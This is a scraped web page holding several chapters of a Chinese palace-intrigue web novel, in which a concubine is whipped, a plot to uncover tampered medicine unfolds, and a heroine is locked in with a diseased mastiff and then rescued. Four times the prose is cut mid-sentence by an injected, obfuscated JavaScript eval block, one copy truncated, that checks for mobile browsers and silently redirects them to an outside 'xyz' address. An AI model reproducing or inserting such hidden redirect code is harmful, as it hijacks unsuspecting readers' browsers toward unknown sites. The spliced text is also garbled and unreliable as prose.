就这?这么敷衍的一句答复,看着恭敬好像又不够恭敬!林氏胸口又添了一把火气。 这**好不将她放在眼里。 不过她转念一想,回来了就好,她就有机会好好收拾她,为敏儿雪恨! 再说,她看了一眼苏姨娘,嘴角上翘。 沈清念得罪她的,她还可以在苏姨娘身上加倍讨回来。 苏姨娘见林氏看向她的目光与以往都不同,好似藏着不同寻常的危险,她心里莫名打了个寒战。 她又想到接下来要发生的事,低下了头。 而林氏见到这一幕,心里隐隐有些兴奋起来。 屋外这时传来细细碎碎的脚步声,一个丫鬟端着熬好的药进来。 黑漆漆的药汁,散着一股浓重的苦味。 沈清念闻到味道,皱了皱眉。 如果是她们刚刚抓的药,味道不该这么苦涩,她甚至还闻到一屡腥臭味。 林氏用帕子轻掩口鼻:“苏姨娘,伺候爷喝药吧。” 闻言,苏姨娘的睫毛颤了颤,看着沈清念,柔声道:“念儿,你们先去逛逛庄子,我伺候二爷喝了药,再来寻你。” “姨母,我留下来帮你吧。”沈清念有些担心苏姨娘一人吃力。 那谢二爷明显不能动,得有人扶着才好喂药。 苏姨娘见她一脸的关心,眉眼带笑:“没事,有二夫人帮我呢,你们去玩吧。” 沈清念见林氏坐在床前,身子背对着她们,明显是有驱赶之意。 又见苏姨娘眼神肯定,就点点头,带着菱儿出了去。 到了屋子外面,菱儿好奇道:“小姐,为何二爷喝药咱们不能看?” 沈清念想着,二爷喝药的情状应当是有些难看的,姨母许是想要给谢二爷留一份体面吧。 她看着菱儿那一双好奇的大眼睛,笑着道:“走吧,我们去庄子上看看。” 她还想去看看,那些药渣与她们带来的有何不同。 第一百一十七章 清丫头往哪儿去呢? 而屋子里。 苏姨娘已褪去外套,扶在床边,林氏手拿藤鞭,一鞭一鞭狠狠打在苏姨娘身上。 “原本你来只需领五鞭的,但你不该带沈清念那个**来,这余下的五鞭,也是你应该受的!” 说着,又狠狠抽下一鞭。 苏姨娘的后背已经渗出了血,脸色也有些发白。 那鞭子抽下的疼痛,令她身子发颤,冷汗直流。 她紧紧咬住锦被,不敢发出一点儿声音,只是一直看着谢松奕的方向。 而苏姨娘痛苦的模样,令林氏更加兴奋,她凑到谢松奕面前,语气里充满变态的愉悦:“奕郎,你就好好看着你心尖儿上的人,是如何替你偿还欠我的!” 每次苏姨娘送药来,林氏都要磋磨她一顿,这是她见二爷的代价。 待林氏泄完愤后,就出了屋子,谢松奕喝药总是洒得到处都是,她烦闷得很。 “你看你的二爷,像个废物一样,再也保护不了你了。” “你如今后不后悔当初跟了他?” “不后悔!”苏姨娘咬牙道。 她不后悔,没有谢松奕,她早就**。 待林氏出去以后,苏姨娘小心翼翼端着药碗,靠近床边。 不知是不是她的错觉,谢松奕原本空洞的眼神里,似乎有了一丝神采。 原本紧闭的嘴唇也微不可察地动了动。 苏姨娘见后泪如雨下,她知道,她的二爷是在叫她别哭! 沈清念带着菱儿在庄子上转了转。 发现这庄子是真大!又有果园,又有鱼塘。东面还有一大片桑林。远远望去,炊烟袅袅,鸡犬相闻,一片富足的景象。 沈清念一心想找到伙房的位置,她今日来,就是想弄清谢二爷生病的原因。 走过一片田地时,沈清念见田里有些农妇打扮的人在摘瓜果,心里一下有了主意。 沈清念也带着菱儿走到一旁的李子树下,佯装摘李子吃。 待那当中有一个妇人端着菜盆离开后,沈清念和菱儿一路跟在后面。 果然,一会儿便找到了伙房的位置。 “小姐,你怎么知道跟着她能找到伙房?” 菱儿真的觉得自己的小姐太聪慧了。 那田里明明有好几个人,小姐为何偏偏选中这个妇人。 沈清念笑了笑:“因为那些人摘了瓜果,都装进了大筐子里,只有她拿了一小盆就过来了。” “那定是准备晌午做吃食用的。” “而大筐里的,则是准备送回靖南侯府或者拿出去售卖的。” 菱儿听后,恍然大悟。虽然小姐告诉她要找伙房,她却不知为何要来伙房。 于是,菱儿又问道:“小姐,我们来伙房做什么?” 沈清念小声道:“我想找找二爷的药渣。” 菱儿还是有些懵,找药渣干什么? 沈清念接着道:“我闻着二爷喝的那药汁,与咱们抓的药不一样。” “所以,小姐是怀疑二爷的药有问题!”菱儿似忽然开了窍般说道。 沈清念点点头,随即又皱了眉。 虽然找到了伙房,又怎么能进去找药渣呢?冒然进去,怕是会惹人怀疑。 沈清念看了看眼前的菱儿,灵机一动,自然也想到了办法。 她走到伙房,看到一个烧火的妇人,沈清念轻轻扣了扣门:“这位姐姐,能给口水喝吗?” 那妇人转过头来,见沈清念用袖子擦了擦额上的汗,显然是一副走累了,又累又渴的样子。 长相绝美,但看着是一个生面孔。 旁边跟着一个小丫头,但看这打扮,是一个丫鬟。 她看着二人道:“你们是何人?” 沈清念看了菱儿一眼,菱儿上前道:“我家小姐是靖南侯府的表小姐,今日来庄子上转转,没曾想迷了路。” 菱儿又道:“好姐姐,能让我家小姐在这儿坐下歇会儿吗?顺便喝口水。” 原来是府上的小姐。 也难怪,这庄子太大,第一次来的人很容易迷路。更何况这样一个娇滴滴的表小姐。 那妇人指了指旁边沾了些柴灰的小凳子,又用水瓢打了些水递过来。 “小姐,尝尝这山泉水。” 沈清念接过水瓢,凑到嘴边,她还是第一次这么豪横地饮水。 一边喝水,她的眼一边扫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16370150|182920||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 视屋子。 见灶台后有几个小火炉,路上放着的正是熬药的药罐。 沈清念已经能看见那药罐里的药渣了。 沈清念放下水瓢,用手肘拐了拐菱儿,又看向那妇人。 菱儿愣了一下,随即心领神会。 她起身过去将水瓢给了那位妇人,又拉着她闲话。 身子正好挡住那那妇人的视线。 沈清念瞅准机会,来到药罐那里,用手里的小棍,搅了搅药罐。 又立刻回到刚才的凳子上。 菱儿的余光瞥见沈清念又坐了回去。 她也不再缠着那位妇人闲话家常,回到了小姐身边。 沈清念对那妇人道:“多谢姐姐了。” 那夫妇人摆了摆手:“表姑娘客气了。” 正说着,林氏堵在了门口,看见沈清念,她挑了挑眉:“清丫头怎么到伙房来了?” 说着,还往那边的药罐看了一眼,见药渣都好好地在那,才又收回视线看着沈清念。 沈清念道:“我与菱儿走了许久路,有些渴了,看见这屋子,便进来讨口水喝。” 菱儿也附和着点点头。 林氏却不怎么相信,旁边明明就是饭堂,不去那里喝茶,偏跑到这小小的伙房来。 她又用探究的目光看着沈清念,也没从她脸上找到一丝说谎的痕迹。 看样子,沈清念并没有发现什么。 那秘密,也不是那么容易被人发现的。 林氏的脸上浮现了一点笑容,看沈清念的眼神,也让她觉着有些不适。 “走吧,跟我去找苏姨娘。” “她在那边等你们。” 说着,就带头走在了前面。 而沈清念和菱儿只好跟了上去。 只是走着走着,沈清念还没有看到苏姨娘,而路上也没碰到什么人,她不禁有些怀疑林氏有什么在瞒着她。 她看着前面还有几步就到的屋子,心里有了些不安。 转身拉着菱儿要离开时,林氏忽然伸手拉住了她,脸上露出笑意:“清丫头往哪去?苏姨娘就在里面呢。” 说着,林氏及身边的婆子,就将沈清念和菱儿丢了进去。 第一百一十八章只是想一想,就觉得兴奋异常 屋子里的丫鬟在给苏姨娘的背上药,药膏抹上去,疼得她冷汗直冒。 那丫鬟挑着眉冷冷道:“姨娘忍着些,这药是二夫人特意让大夫配的金疮药,用着很好,现在伤口已经不流血了。” 闻言,苏姨娘苦笑了一下。 用那么好的药,不过是林氏怕人发现她身上的血迹,损了她的名声。 再说,好得越快,她就又能早些来遭罪了。 她的眸子又看向床上的谢松奕,心里有些难过,她日夜都在盼着他能早些醒过来。 再这样被林氏磋磨下去,她这身子也是一日不如一日了。 也不知二爷醒过来以后,看到她背上那些伤痕,会不会觉得丑陋? 上完药后,她又坐在床边陪了谢松奕一会儿,眼见夕阳的余辉透过窗纱洒了进来,苏姨娘也知道该回靖南侯府去了。 可沈清念到现在还没回来。 苏姨娘心里有了些不安。 她摸了摸二爷的脸,柔声安慰:“二爷,我得去寻我那侄女儿了,过几日我再来。” 然后,又替他拢了拢被子,才依依不舍地出了屋子。 苏姨娘在庄子里走了一会儿,瞧见几个妇人抬着筐子回来,便走上去问:“你们有没有看到一个小姐和一个丫头?” 有几个妇人摇了摇头,其中有一个指着后面的山林道:“我倒是见有两姑娘朝林子那边去了。” 苏姨娘心道不好。 她们的庄子挨着那片山林,偶有野猪,所以庄子上的人不许它们来吃庄稼,就在林子里挖了陷阱,要是掉进去,恐会伤及性命。 念儿好好地跑到林子里做什么? 眼见最后一抹夕阳已经落下,苏姨娘心里越发不安。 她提着裙摆,跑到饭堂,林氏和谢敏正在那里用饭。 见苏姨娘冒冒失失跑进来,林氏皱了皱眉:“何事这么惊慌?” 苏姨娘焦急道:“听说念儿和菱儿到林子里去了,现在还未回来。夫人能不能派几个人跟我去找找?” 林氏嫌恶道:“一个姑娘家,跑那林子里去做什么?莫听人胡说!” 苏姨娘跪在地上,求着林氏:“夫人,就让我带人去找找,她们二人怕是遇着危险了。” 谢敏放下了筷子,看了看苏姨娘,又转头对林氏道:“母亲,既然姨娘着急,您就派几个人去帮忙找找吧。” 闻言,苏姨娘抬头,有些惊讶谢敏竟会帮她说话。 难道,这段时间幽禁在庄子上,她的脾性改好了些? 苏姨娘对着谢敏福了一礼:“多谢夫人,多谢小姐。” 谢敏看着苏姨娘低垂眉眼道谢的样子,嘴角扬起了浮现了一抹笑意。 反正,怎么找也是找不到。 就算找到了,怕苏姨娘看到她那副样子,也承受不住。 母女二人交换了一下眼神,谢敏清了清嗓子:“姨娘快去吧。” 做戏就要做全套,沈清念的失踪她们母女二人可不知情,还吩咐下人帮忙去寻了呢。 思及此处,谢敏嘴角上扬。 随后,林氏就吩咐了几个庄稼汉和婆子,打着火把随苏姨娘往林子里寻人去了。 林子里火光窜窜,苏姨娘几次都摔倒在地上。 忽然她发现前面有些血迹,看得她的心砰砰直跳。 直到在前面的陷阱里看到一只受伤的山鸡,她悬着的心才放了下来。 而此时,谢宴之正坐在观澜居的屋子里,看着一大桌子的美味珍馐,他一点都不下。 将筷子放在桌上,唤了元青:“沈清念怎么还没回来?” 元青看了看这浓重的夜色,也感到疑惑。 他刚刚派人去二房那边问了,苏姨娘也未回府。 看着谢宴之那黑沉的脸,元青只能小心道:“可能是路上耽搁了,苏姨娘也还没回府。” 沉默了一会儿,谢宴之眉头紧蹙,起身道:“走,去庄子上!” 心里念道:“沈清念,你最好是有事耽搁了,不然……” 庄子里,林氏拿着梳子给谢敏梳着长发,淡淡问道:“你打算怎么处置沈清念那个贱蹄子?” 谢敏柔媚一笑:“先看她有没有命活过今晚再说吧。” 今日她听林氏派人来报,说沈清念来了庄子上,她只觉得这真是天大的好消息。 自从她被老夫人幽禁在庄子上后,她一直都在找机会出去找沈清念算账! 如今沈清念却自己送上门来了。 果然是冤有头,债有主,沈清念欠下的债,终究是要还给她的。 不知道沈清念现在是一副什么样的神情,那张漂亮的脸蛋儿,会不会花容失色? 这样想着,谢敏的心里更加舒坦了,抱着林氏的胳膊,将脸轻轻贴了上去。 林氏也感到十分欣慰,谢敏已经好久没有这样笑过了。 这时,门外忽然传来了下人的声音:“夫人,小姐,大公子来了。” “谢宴之?他大晚上的来做什么?” 林氏脸上闪过一丝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16370151|182920||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 慌乱,但她又迅速调整了表情。 兵来将挡水来土掩! 她是她的二婶,她怕他什么。 “先给大公子看茶,我马上就过去。”林氏将谢敏最后一缕头发梳顺后,放下了梳子。 谢敏忽然拉住她的手,眼里含恨:“母亲小心应对,谢宴之有可能是为了那**来的!” “敏儿,大公子是你大哥!”林氏有些担心,万一被谢宴之听见,谢敏直呼他的名字,可能会触怒他。 “他不配!”谢敏咬牙恨恨道。 自从上次他没救她,而是选择救沈清念,他就不是她的大哥了! 林氏摇摇头,叹了口气,带着婆子去见谢宴之了。 林氏一进屋子,便见谢宴之坐在椅子上,脸上满是不耐和寒霜。她面上带笑,清清嗓道:“宴哥儿怎么来了?” 谢宴之抬起眼眸,看向林氏:“二婶,我来找我的丫鬟!” 丫鬟?林氏一头懵,谢宴之何时有丫鬟了? 她笑着道:“宴哥儿莫不是在与二婶说笑,你的丫鬟何时来过这里了?” “今日与苏姨娘一起来的。” “沈清念就是我的丫鬟。”谢宴之淡淡道,眼睛里没有一丝波澜。 林氏心里倒是有些惊讶,沈清念竟然如此**,去给宴哥儿当丫鬟。 谢宴之见林氏脸上闪过一丝惊讶之色,冷声道:“二婶,我的丫鬟现在在何处呀?” 林氏对上谢宴之冰冷的眸子,努力按下了心中的慌张:“听苏姨娘说,沈清念到林子里去了,我已派了人一道去林子里找去了。” 谢宴之走到门口,看到对面的林子里,是有几处亮着火把。 大晚上的,她跑到林子里去做什么? 谢宴之又看了眼林氏,见她脸上并无异常,对着元青道:“走!寻人!” 待谢宴之走后,林氏一下子瘫坐在凳子上,心中慌乱不已。 沈清念如今是谢宴之的丫鬟,这可如何是好? 打狗还要看主人呢! 只怕谢宴之知道了,不会放过她! 正想着,她肩上忽然被人一拍,吓了她一个机灵。 林氏正要发怒,抬眼却见是谢敏站在身边。 谢敏盯着门口的方向,喃喃道:“母亲,别怕,他没那么容易找到她的。” 就算找到了,他会不会被她的模样给吓坏呢? 还不知道谢宴之惊慌失措是什么样子的呢。 不过,光是想一想,谢敏就觉得心里兴奋异常! 第一百一十九章 把我的丫鬟交出来 听了谢敏的话,林氏还是有些放心不下。 她没想到沈清念会将谢宴之给招来。 可她现在也是骑虎难下。 她抓沈清念的时候没有一点遮掩,如果现在去放了沈清念。 等沈清念在谢宴之面前说出真相,那谢宴之还是会向她发难。 最重要的是,沈清念现在有可能已经……就算想放,也不可能将人完好无损的还给谢宴之了。 眼下,知道是她带走了沈清念主仆的,只有那个伙房里给沈清念水喝的王家媳妇。 思虑了一会儿,林氏又叫来门口的婆子:“去叫那个王家媳妇把嘴闭严实些,不然要她家男人好看!” 谢敏则淡定地坐在一旁,等着看好戏。 元青又叫了庄子里的管事,带上所有人上林子里去寻人。 这四周并没有野兽,只要清姑娘和菱儿不掉进陷阱里,是不会丧命的。 谢宴之想了想,又让元青将随行的侍卫叫了过来,吩咐了几句,这才匆匆赶往山上。 苏姨娘在林子里深一脚浅一脚地搜寻着,每经过一个陷阱都要去看一眼。 随着天色越来越晚,随行的那些庄稼人可不干了,他们的婆娘孩儿还在家等着他们回去吃饭呢。 再说,刚刚庄子上的管事都吩咐了,眼前这位就是一个妾室,让他们找的还是两个丫头,都是些无关紧要的人。 他们只管做做样子就行,不一定非得将人找到。 于是,几人交换了一下眼神。 其中一个领头的在原地停了下来,对着前面正在躬着身子仔细寻找的苏姨娘道:“姨娘,找了这么久就都没找到,弟兄们也没力气了,我们得下山去了。” “您自己再找找看。” 说着,不等苏姨娘回应,就转身朝山下走了。 “等一下……” 苏姨娘想要阻止他们,他们可没有一个人回头。 等那些人走了后,苏姨娘看着黑漆漆的林子,举着火把继续寻找起来。 不找到念儿和菱儿,她是如何也不会心安的。 再看这头,这几个庄稼汉在路上边走边道:“那姨娘也是个蠢的,为了两个丫鬟,弄得那么狼狈。” “哈哈,不过那姨娘瞧着真是个妙人儿啊,守着那瘫了的二爷,真是可惜喽!”其中一人嘲笑道。 “那你去疼疼她呗!老三!” 一群人纷纷起哄,却看见不远处庄头举着火把,使劲对着他们眨眼睛。 “庄头!您眼睛怎么了?”那个叫老三的摸着头,不知道庄头在这里挤眉弄眼的做什么。 当中又有一人道:“庄头一个大男人在给你暗送秋波呢。” 哈哈哈 那几人又笑起来。 庄头可笑不出来,这几个人今日死定了。 他听到后边传来脚步声,侧开了身子,那几个庄稼汉才看到他身后的人纷纷往两边站,从中间让出一条道来。 一高大欣长的身影从中间过来,头戴玉冠,腰佩玉环,面容冷峻,眼神冰冷地看着他:“那姨娘在何处?” 那个叫老三的见面前的人气度不凡,再看庄头那副谨慎的样子,他们也知道这是主子来了。 这主子如此年少,浑身带着一股强烈的威压,应当是他们在侯府的主子谢宴之了。 一时间,他们人人面露苦色,立即跪在地上,用手指了指身后。 也不知他们刚刚姨娘那些话,有没有被这位世子爷听见。 几人此刻都悬着一颗心,老老实实低着头,实则已是满头大汗。 谢宴之什么都没说,从他们身边过去了。 众人心里绷紧的弦松了一松,庆幸逃过一劫。 但庄头立刻叫了几人上来,拿了绳索将人捆了起来,摇头道:“哎,谁让你们乱说话!” 苏姨娘听到身后有动静,回过头才发现是谢宴之来了,忙上前:“大公子。” 谢宴之颔首。 等了片刻,庄头带人将所有的陷阱都看了个遍,却还是没有沈清念和菱儿的影子。 “大公子,怎么办?”苏姨娘心下自责,她不该将念儿带出来的。 此时,一名侍卫匆匆过来,在谢宴之耳边说了几句。 谢宴之面色一沉,对苏姨娘道:“走,沈清念不在林子里。” 林氏见林子里的人举着火把下山,朝着她们的屋子缓缓靠近,在屋子里转来转去: “这事肯定瞒不住大公子的。” 谢敏倒是淡淡道:“谁看到是母亲带走了她们,反正母亲不认就是了。” 说着,她继续欣赏着手上新染的指甲。 很快,谢宴之带着苏姨娘进了屋子,往椅子上一坐,开口道:“二婶,将我的丫鬟交出来吧。” 林氏心中一个咯噔,谢宴之果然知道是她抓了沈清念了。 谢敏眼见母亲怔了一怔,起身用手扶着林氏肩膀,眼睛看向谢宴之:“世子的丫鬟不见了,与我母亲有何干系?” 谢宴之幽深的眼眸看向谢敏,没想到两月不见,这个妹妹变了许多啊!变得更加目中无人了。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16378396|182920||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >谢宴之朝门口的侍卫扬了扬下巴,林氏就见外面进来了一妇人,正是那王家媳妇。 “禀世子,奴婢亲眼瞧见是二夫人带走了那两人。” 王家媳妇跪在地上,恭恭敬敬说出了这句话。 林氏捏紧帕子,恶狠狠盯着她:“你在胡说什么?乱嚼舌根,难道不怕拖累你当家的?” 王家媳妇一听,也知道林氏是在用她当家的威胁她。 可是,世子此时已经命人将刀架在了她男人的脖子上,再不说,她男人就会立即血溅当场。 谢宴之道:“二婶不用麻烦,庄子上所有人都在门外了。” 林氏往门外一看,庄子上的男人和小孩脖子上都架着一把刀!她的脸瞬间变得煞白。 难怪那**一进来就敢将事情说出来! 王家媳妇悄悄抬眼看了眼谢宴之,仍不改口:“当时那两个姑娘在伙房喝了水,二夫人进来,面色极为不悦,然后就将二人带走了。” 谢宴之看向林氏:“二婶,还不将我的丫鬟放出来?” 林氏仍是不承认:“我是与她们一道出了伙房,但她们之后就自己走了,谁知道那二人去哪里鬼混了!” 王家媳妇有道:“我见二夫人带着她们似往河边的方向去了。” 河边?跟山林是两个完全相反的方向。 谢宴之眉头一皱,淡淡出声:“是谁说那二人去了林子里了?” 其中一人颤颤巍巍站了出来:“是奴婢,奴婢当时确实见两名女子,提着篮子往林子去了。我以为是去寻蘑菇了。” 谢宴之又问:“是谁去林子里了?” 又有两个丫鬟从人群中站了出来:“是我们。” 元青指着二人道:“说实话!天都要黑了,为何要入山捡蘑菇?” “是……是二夫人要我们去的。”那两丫鬟说话的声音越来越小,低着头也不敢看林氏。 林氏听到这话,狠狠揪住了帕子。 苏姨娘没想到,竟是林氏抓了念儿!她早该想到的,林氏因着谢敏的事,心里恨着念儿呀! 又是一人来报:“世子,庄子上的所有屋子都查了,只在那边发现一个破院子,门外上着锁,我们没进去。” “为何不进去?” 他不是说了,一个角落都不许放过? “那似乎不是给人待的地方。”那人如实答道。 谢宴之见林氏有些心虚地避开了他的目光,他的眸子立刻染上了寒霜。 该死的林氏竟是将沈清念丢在了那里吗?! 第一百二十章 在你这儿,本世子还有清白吗 “走!” 谢宴之话音未落,人已到了门外。 必须要快,晚一秒,他心中就这一个念头。 元青也胆战心惊,飞身跟在身后,冷汗出了一身。 见状,林氏脸色惨白地坐在屋子里,眉头紧皱。 谢敏抬头看了眼天色,嘴角微翘道:“母亲不必害怕,就算谢宴之现在找到沈清念,她也没法开口说话了。” 林氏与谢敏的目光相遇,谢敏那淡定的神色,让她感到一阵后怕。 林氏自认这些年在府中,没害过谁的性命,除了……可她也不是有意的! 可谢敏,别人的性命在她眼里,什么也不是。 她的女儿自从陆二爷的事之后,心里就病了。 想到这儿,林氏心中一阵凄凉,眼泪滑落脸庞。 难道她当年真的做错了?难道这都是报应? 谢宴之听见远处发出的咆哮声,他的心像被人狠狠揪住。 快点,再快点。 有个声音一直在催促他,沈清念应付不来的。 而那落锁的院子里,沈清念将菱儿护在身后,身子忍不住颤抖起来。 “小姐,这到底是什么?” 沈清念没说话,她只是紧紧盯着那只狗,这狗比平日里见的大太多。 刚刚扑过去咬住山鸡时,看起来比人还高。 并且那狗双眼发红,嘴角流着浑浊的涎水,腹部满是红色的丘疹,溃烂化脓,发着恶臭。 且它方才撕咬的动作凶横又毫无章法。 此刻,它正眼神发狠地看着它的两个猎物,嘴里发出低沉嘶哑的吼声,前肢紧绷,身体压低。 沈清念心里明白了几分,这狗得了犬瘟之类的病。 她迅速捡起地上的一根树枝,对着那狗,显然这个动作激怒了它。 它绷紧前肢,压低身体,龇着牙,咆哮一声。 灼热的气息,扑面而来,带着一股恶臭,沈清念忍不住干呕起来。 “小心,它可能得了犬瘟!” 被它咬上一口,她们也活不了了。 沈清念见旁边的菜筐子,对着菱儿道:“跟着我做!” 刚说完,那狗就扑了上来。 “就是现在!”沈清念说着,将手中的棍子朝着狗狠狠砸去。 然后迅速用筐子罩在头上,蹲在地上,想将自己全罩起来。 但她还是低估了那狗的力量,它扑上来的一下直接将沈清念撞翻在地,她整个人瞬间暴露在狗嘴之下。 它将沈清念按在爪子下面。 “小姐!”菱儿朝它丢了筐子,它却丝毫没有要放过沈清念的意思。 反而是咬着牙,朝着沈清念的脸就是一口咬下去。 恶臭的热气喷在沈清念脸上,她绝望地闭上了眼睛,眼泪从眼角滑落。 菱儿用手蒙住了脸,跪在地上啜泣起来。 “沈清念!” 声音传入耳中,一股雪松香将她包裹住。 谢宴之拿着剑指在那狗面前,一手扶着她,与狗拉出一段距离。 沈清念脸上带着泪珠,带着些惊讶看着谢宴之。 “别怕。”谢宴之回头看了一眼沈清念,见她有些发懵地看着他。 脸上带着泪珠,鼻尖红红的,一副害怕又委屈巴巴的样子,他心一下软了一片。 “大公子!”菱儿听见声音,睁开眼。 大公子来了,她们有救了! 这藏獒得了瘟疫。 有没有伤到? 沈清念还陷在恐惧里,谢宴之看她被扯烂的衣裙,面带关心。 那狗刚被谢宴之踢飞,狠狠摔在地上,此刻它越发凶猛地要扑过来。 “小心!”沈清念不由地说了一声,眼睛直直盯着那狗子。 她害怕它再来一次,她没办法逃脱。 谢宴之低头看了她一眼,异样的情愫一下涌进他的心中,那好像是一种极大的欢喜,让他眼中再见不到无其他,只有这个柔弱的可人儿。 他对着她笑了笑。 沈清念见谢宴之没有动作,抬头正好对上他的笑。沈清念怔了怔,这个时候,他还笑得出来。 她看着那疯了一样冲过来的狗,不自觉地抓紧了谢宴之的衣襟。 就在那狗快要碰到他们两个人时,一张金刚网从天而降,将它拖到一边。 那狗在地上激烈挣扎,沈清念见它拼命的样子,仍然心有余悸。 谢宴之拦着沈清念的腰肢,带着她点地飞出了院子。 元青也将菱儿带了出来。 谢宴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16382448|182920||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之又见沈清念的衣袖被狗撕烂了些,露出玉藕般的胳膊。 他脱下自己的外袍给她披上。 “伤到没?” 沈清念摇摇头,可能是想起刚濒死的瞬间,她没有计较是不是谢宴之的袍子,反而扯过袍子,将自己严严实实地包裹住。 感受到袍子里传来的温度,她才觉得自己活过来了。 “念儿!”苏姨娘过来,握住沈清念的手,却发现她的手冰凉一片。 沈清念看到苏姨娘,刚刚藏起来的坚强,在这一刻再也绷不住,直接扑在苏姨娘怀里哭起来。 谢宴之眼见那人肩膀抖动着,哭得那样难过委屈,眼里闪过一丝寒光。 他伸出手,轻轻碰了碰沈清念的肩:“走,去给你报仇。” 沈清念转过头,看向谢宴之,她倒是将林氏忘记了。 在火光的晕染下,谢宴之见沈清念的眼是那么温柔,细细的柳叶眉,明眸皓齿,像一幅古色古香的画卷。 他强势地握住沈清念的手,不顾她的挣扎,拉着人往前走。 沈清念试着挣脱,手却被他箍得更紧,她有些急道:“世子!放手!” 沈清念心中无语至极,谢宴之刚刚救了她,又想着对她动手动脚了!他又在发疯了! “我只是一个奴婢,不敢辱了世子清白。” 谢宴之假装看不见她的羞愤,他只知道再晚一些,他就再也见不到她了。 他现在只想紧紧握着她。 又听她这样说,他冷嗤一声: “在你这儿,本世子还有清白吗?” 苏姨娘和菱儿听了这话,都大吃一惊!世子这话什么意思? 菱儿看向元青,质问的目光看得元青心虚不已。 他羞愧地低下了头,心道爷是不清白了,夜里翻窗都翻了多少回了! 跟在后面的一群人心中也是惊涛骇浪,低着头纷纷用眼神交流着,这婢子看着如此柔弱,却连他们世子的清白都敢夺! 此刻,都对沈清念刮目相看起来。 “再动就将你再扔进去!”给她一个威胁后,谢宴之若无其事又继续拉着人往前走。 沈清念就这样一路尝试挣扎,一路在众人吃瓜的眼神里被带回了屋子。 第一百二十一章 自然也是自己人 门外传来了动静,林氏紧张地看向门口。 谢敏却异常兴奋,朝着林氏道:“母亲,你说沈清念**没?” 听着外面的脚步声那样急躁,谢敏心道沈清念应当是**吧,不然谢宴之怎么会这样气急败坏。 她很期待看到谢宴之此刻的表情,这样想着,她也转身朝门口看去。 就在她转头看向门口时,谢宴之大步迈了进来,身上带着一股凛冽之气,面容更是深沉。 但看到他身后还跟着沈清念时,谢敏嘴上的笑容瞬间消失,取而代之的是一阵难以置信。 再看到沈清念的手被谢宴之握着后,她更是狠狠剜了沈清念两眼。 林氏也是同样震惊。 那么长时间,她是怎么撑过来的! 要知道那可是一条得了瘟病的烈犬,哪怕是被它咬上一口,都会染病而死的。 而且体型巨大,寻常人根本拼不过。 所以庄子上的人都不敢靠近,她才命人将那狗锁在院子里,让它自生自灭。 她的眼光在沈清念身上逡巡了一圈,连个抓痕都没发现,心底不免有些失望。 只有沈清念知道,当时若不是那狗腿伤得厉害,行动不那么便利。 她根本不可能撑到谢宴之赶来的时候。 谢宴之径直坐到了上首的位置,沈清念则立在边上,不肯坐下。 她现在是奴婢,怎么能主子一同坐下。 见到谢敏那眼神,沈清念面色平静,只是淡淡地看着她。 这种平淡眼神,在谢敏看来就是在挑衅她。 她气得一巴掌拍在了桌子上:“**,你看什么看?” 此言一出,林氏一把拉住了谢敏:“敏儿!” “母亲,又不是我害的她,她瞧我做什么!”谢敏仍不肯冷静下来。 “哦,看来谢敏小姐知道是谁害得我?” 谢敏被沈清念一问,才回过神来,咬牙切齿道:“我不知道!只是看你一身狼狈,猜测而已。” 差点被沈清念套到话,谢敏心里大为恼火。 沈清念看向林氏:“二夫人,您有什么想说的吗?” 林氏捏紧了帕子,不愿承认是自己所为。 反正当时跟在她身边的都是她的心腹,只要她不认,谢宴之也不能拿她怎么样。 她淡了淡神色,冷笑道:“我有什么可说的,我好心带你去找苏姨娘,你说要自己逛逛,谁知你后来干什么去了?” 沈清念对林氏睁眼说瞎话的本事刮目相看。 菱儿听林氏这样说,指着林氏身后站着的两个婆子,急声道:“明明就是二夫人叫她,还有她将我和小姐扔进去的!” 那两个婆子见菱儿指认她们,瞪了她一眼:“小丫头好端端为何平白污蔑人?” 谢宴之见此,心中已窥见真相。 苏姨娘更是心惊,没想到林氏竟对念儿恨到这个地步!谢敏的事,难道不是林氏和谢敏自己预谋陷害念儿在前,自食其果在后吗? 她有些不明白,为什么有时候作恶的人反而会觉得自己才是受到伤害的那一个?还要去报复那些无辜的人? 